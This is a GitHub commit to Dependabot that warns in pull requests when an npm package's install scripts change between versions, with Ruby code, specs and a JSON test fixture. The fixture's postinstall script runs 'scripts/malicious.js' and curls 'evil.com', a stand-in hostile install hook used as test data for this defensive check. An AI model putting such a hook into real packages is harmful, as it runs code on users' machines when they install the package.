Skip to content

Commit d0435e8

Browse files
committed
npm: Warn when install scripts change between versions
npm lifecycle scripts (preinstall, install, postinstall, prepare) run automatically during package installation. This is a known attack vector for supply chain compromises. Dependabot already warns when the npm maintainer changes. This adds a similar warning when install scripts are added or modified between the previous and target versions. The warning appears in a collapsible 'Install script changes' section in PR descriptions, with a link to review the package contents on npm.
1 parent fb3834a commit d0435e8

File tree

6 files changed

+319
-0
lines changed

6 files changed

+319
-0
lines changed

common/lib/dependabot/metadata_finders/base.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -162,6 +162,11 @@ def maintainer_changes
162162
nil
163163
end
164164

165+
sig { overridable.returns(T.nilable(String)) }
166+
def install_script_changes
167+
nil
168+
end
169+
165170
private
166171

167172
sig { overridable.returns(T.nilable(String)) }

common/lib/dependabot/pull_request_creator/message_builder/metadata_presenter.rb

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,7 @@ class MetadataPresenter
3131
:changelog_text,
3232
:commits_url,
3333
:commits,
34+
:install_script_changes,
3435
:maintainer_changes,
3536
:releases_url,
3637
:releases_text,
@@ -71,6 +72,7 @@ def to_s
7172
msg += upgrade_guide_cascade
7273
msg += commits_cascade
7374
msg += maintainer_changes_cascade
75+
msg += install_script_changes_cascade
7476
msg += break_tag unless msg == ""
7577
"\n" + sanitize_links_and_mentions(msg, unsafe: true)
7678
end
@@ -181,6 +183,16 @@ def maintainer_changes_cascade
181183
)
182184
end
183185

186+
sig { returns(String) }
187+
def install_script_changes_cascade
188+
return "" unless install_script_changes
189+
190+
build_details_tag(
191+
summary: "Install script changes",
192+
body: sanitize_links_and_mentions(install_script_changes) + "\n"
193+
)
194+
end
195+
184196
sig { params(summary: String, body: String).returns(String) }
185197
def build_details_tag(summary:, body:)
186198
# Bitbucket does not support <details> tag (https://jira.atlassian.com/browse/BCLOUD-20231)

common/spec/dependabot/pull_request_creator/message_builder/metadata_presenter_spec.rb

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,7 @@
4040
changelog_text: "",
4141
commits_url: "http://localhost/commits",
4242
commits: [],
43+
install_script_changes: "",
4344
maintainer_changes: "",
4445
releases_url: "http://localhost/releases",
4546
releases_text: "",
@@ -84,5 +85,18 @@
8485
end
8586
end
8687
end
88+
89+
context "with install script changes" do
90+
before do
91+
allow(metadata_finder)
92+
.to receive(:install_script_changes)
93+
.and_return("This version adds `postinstall` script that runs during installation.")
94+
end
95+
96+
it "includes install script changes section" do
97+
expect(presenter.to_s).to include("Install script changes")
98+
expect(presenter.to_s).to include("postinstall")
99+
end
100+
end
87101
end
88102
end

npm_and_yarn/lib/dependabot/npm_and_yarn/metadata_finder.rb

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,14 @@ module NpmAndYarn
1616
class MetadataFinder < Dependabot::MetadataFinders::Base
1717
extend T::Sig
1818

19+
# Lifecycle scripts that run automatically during package installation.
20+
# These are security-relevant because they execute with user privileges.
21+
# https://docs.npmjs.com/cli/v11/using-npm/scripts#npm-install
22+
INSTALL_SCRIPTS = T.let(
23+
%w(preinstall install postinstall prepublish preprepare prepare postprepare).freeze,
24+
T::Array[String]
25+
)
26+
1927
sig { override.returns(T.nilable(String)) }
2028
def homepage_url
2129
# Attempt to use version_listing first, as fetching the entire listing
@@ -37,8 +45,53 @@ def maintainer_changes
3745
"releaser for #{dependency.name} since your current version."
3846
end
3947

48+
sig { override.returns(T.nilable(String)) }
49+
def install_script_changes
50+
return unless dependency.previous_version
51+
52+
previous_scripts = install_scripts_for_version(dependency.previous_version)
53+
current_scripts = install_scripts_for_version(dependency.version)
54+
55+
return if previous_scripts == current_scripts
56+
57+
added = current_scripts.keys - previous_scripts.keys
58+
modified = (current_scripts.keys & previous_scripts.keys).reject do |script|
59+
current_scripts[script] == previous_scripts[script]
60+
end
61+
62+
changes = []
63+
changes << format_script_list("adds", added) if added.any?
64+
changes << format_script_list("modifies", modified) if modified.any?
65+
66+
return if changes.empty?
67+
68+
total_scripts = added.size + modified.size
69+
verb = total_scripts == 1 ? "runs" : "run"
70+
71+
"This version #{changes.join(' and ')} that #{verb} during installation. " \
72+
"Review the package contents before updating."
73+
end
74+
4075
private
4176

77+
sig { params(action: String, scripts: T::Array[String]).returns(String) }
78+
def format_script_list(action, scripts)
79+
script_names = scripts.map { |s| "`#{s}`" }.join(", ")
80+
noun = scripts.size == 1 ? "script" : "scripts"
81+
"#{action} #{script_names} #{noun}"
82+
end
83+
84+
sig { params(version: T.nilable(String)).returns(T::Hash[String, String]) }
85+
def install_scripts_for_version(version)
86+
return {} unless version
87+
88+
version_data = all_version_listings.find { |v, _| v == version }&.last
89+
return {} unless version_data
90+
91+
scripts = version_data["scripts"] || {}
92+
scripts.slice(*INSTALL_SCRIPTS)
93+
end
94+
4295
sig { override.returns(T.nilable(Dependabot::Source)) }
4396
def look_up_source
4497
return find_source_from_registry if new_source.nil?

npm_and_yarn/spec/dependabot/npm_and_yarn/metadata_finder_spec.rb

Lines changed: 129 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -528,6 +528,135 @@
528528
end
529529
end
530530

531+
describe "#install_script_changes" do
532+
subject(:install_script_changes) { finder.install_script_changes }
533+
534+
let(:dependency_name) { "install-scripts-pkg" }
535+
let(:npm_url) { "https://registry.npmjs.org/install-scripts-pkg" }
536+
let(:npm_all_versions_response) do
537+
fixture("npm_responses", "install_scripts.json")
538+
end
539+
540+
before do
541+
stub_request(:get, npm_url)
542+
.to_return(status: 200, body: npm_all_versions_response)
543+
end
544+
545+
context "when there is no previous version" do
546+
let(:dependency) do
547+
Dependabot::Dependency.new(
548+
name: dependency_name,
549+
version: "1.1.0",
550+
requirements: [{
551+
file: "package.json",
552+
requirement: "^1.0",
553+
groups: [],
554+
source: nil
555+
}],
556+
package_manager: "npm_and_yarn"
557+
)
558+
end
559+
560+
it { is_expected.to be_nil }
561+
end
562+
563+
context "when a preinstall script is added alongside existing postinstall" do
564+
let(:dependency) do
565+
Dependabot::Dependency.new(
566+
name: dependency_name,
567+
version: "1.3.0",
568+
previous_version: "1.2.0",
569+
requirements: [{
570+
file: "package.json",
571+
requirement: "^1.0",
572+
groups: [],
573+
source: nil
574+
}],
575+
package_manager: "npm_and_yarn"
576+
)
577+
end
578+
579+
it "returns a notification about the added script" do
580+
expect(install_script_changes).to eq(
581+
"This version adds `preinstall` script that runs during installation. " \
582+
"Review the package contents before updating."
583+
)
584+
end
585+
end
586+
587+
context "when a postinstall script is added" do
588+
let(:dependency) do
589+
Dependabot::Dependency.new(
590+
name: dependency_name,
591+
version: "1.1.0",
592+
previous_version: "1.0.0",
593+
requirements: [{
594+
file: "package.json",
595+
requirement: "^1.0",
596+
groups: [],
597+
source: nil
598+
}],
599+
package_manager: "npm_and_yarn"
600+
)
601+
end
602+
603+
it "returns a notification about the added script" do
604+
expect(install_script_changes).to eq(
605+
"This version adds `postinstall` script that runs during installation. " \
606+
"Review the package contents before updating."
607+
)
608+
end
609+
end
610+
611+
context "when a postinstall script is modified" do
612+
let(:dependency) do
613+
Dependabot::Dependency.new(
614+
name: dependency_name,
615+
version: "1.2.0",
616+
previous_version: "1.1.0",
617+
requirements: [{
618+
file: "package.json",
619+
requirement: "^1.0",
620+
groups: [],
621+
source: nil
622+
}],
623+
package_manager: "npm_and_yarn"
624+
)
625+
end
626+
627+
it "returns a notification about the modified script" do
628+
expect(install_script_changes).to eq(
629+
"This version modifies `postinstall` script that runs during installation. " \
630+
"Review the package contents before updating."
631+
)
632+
end
633+
end
634+
635+
context "when only non-install scripts change" do
636+
let(:npm_all_versions_response) do
637+
fixture("npm_responses", "etag.json")
638+
end
639+
let(:dependency_name) { "etag" }
640+
let(:npm_url) { "https://registry.npmjs.org/etag" }
641+
let(:dependency) do
642+
Dependabot::Dependency.new(
643+
name: dependency_name,
644+
version: "1.7.0",
645+
previous_version: "1.6.0",
646+
requirements: [{
647+
file: "package.json",
648+
requirement: "^1.0",
649+
groups: [],
650+
source: nil
651+
}],
652+
package_manager: "npm_and_yarn"
653+
)
654+
end
655+
656+
it { is_expected.to be_nil }
657+
end
658+
end
659+
531660
describe "#dependency_url" do
532661
subject(:dependency_url) { finder.send(:dependency_url) }
533662

Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
{
2+
"_id": "install-scripts-pkg",
3+
"name": "install-scripts-pkg",
4+
"description": "Test package with install scripts",
5+
"dist-tags": {
6+
"latest": "1.3.0"
7+
},
8+
"time": {
9+
"1.0.0": "2026-01-01T00:00:00.000Z",
10+
"1.1.0": "2026-02-01T00:00:00.000Z",
11+
"1.2.0": "2026-03-01T00:00:00.000Z",
12+
"1.3.0": "2026-04-01T00:00:00.000Z",
13+
"created": "2026-01-01T00:00:00.000Z",
14+
"modified": "2026-04-01T00:00:00.000Z"
15+
},
16+
"versions": {
17+
"1.0.0": {
18+
19+
"_npmUser": {
20+
"email": "[email protected]",
21+
"name": "maintainer"
22+
},
23+
"name": "install-scripts-pkg",
24+
"version": "1.0.0",
25+
"description": "Test package with install scripts",
26+
"scripts": {
27+
"test": "echo test"
28+
},
29+
"repository": {
30+
"type": "git",
31+
"url": "https://github.com/example/install-scripts-pkg"
32+
},
33+
"dist": {
34+
"shasum": "abc123",
35+
"tarball": "http://registry.npmjs.org/install-scripts-pkg/-/install-scripts-pkg-1.0.0.tgz"
36+
}
37+
},
38+
"1.1.0": {
39+
40+
"_npmUser": {
41+
"email": "[email protected]",
42+
"name": "maintainer"
43+
},
44+
"name": "install-scripts-pkg",
45+
"version": "1.1.0",
46+
"description": "Test package with install scripts",
47+
"scripts": {
48+
"test": "echo test",
49+
"postinstall": "node scripts/setup.js"
50+
},
51+
"repository": {
52+
"type": "git",
53+
"url": "https://github.com/example/install-scripts-pkg"
54+
},
55+
"dist": {
56+
"shasum": "def456",
57+
"tarball": "http://registry.npmjs.org/install-scripts-pkg/-/install-scripts-pkg-1.1.0.tgz"
58+
}
59+
},
60+
"1.2.0": {
61+
62+
"_npmUser": {
63+
"email": "[email protected]",
64+
"name": "maintainer"
65+
},
66+
"name": "install-scripts-pkg",
67+
"version": "1.2.0",
68+
"description": "Test package with install scripts",
69+
"scripts": {
70+
"test": "echo test",
71+
"postinstall": "node scripts/malicious.js && curl http://evil.com"
72+
},
73+
"repository": {
74+
"type": "git",
75+
"url": "https://github.com/example/install-scripts-pkg"
76+
},
77+
"dist": {
78+
"shasum": "ghi789",
79+
"tarball": "http://registry.npmjs.org/install-scripts-pkg/-/install-scripts-pkg-1.2.0.tgz"
80+
}
81+
},
82+
"1.3.0": {
83+
84+
"_npmUser": {
85+
"email": "[email protected]",
86+
"name": "maintainer"
87+
},
88+
"name": "install-scripts-pkg",
89+
"version": "1.3.0",
90+
"description": "Test package with install scripts",
91+
"scripts": {
92+
"test": "echo test",
93+
"postinstall": "node scripts/malicious.js && curl http://evil.com",
94+
"preinstall": "echo preinstall"
95+
},
96+
"repository": {
97+
"type": "git",
98+
"url": "https://github.com/example/install-scripts-pkg"
99+
},
100+
"dist": {
101+
"shasum": "jkl012",
102+
"tarball": "http://registry.npmjs.org/install-scripts-pkg/-/install-scripts-pkg-1.3.0.tgz"
103+
}
104+
}
105+
}
106+
}

0 commit comments

Comments
 (0)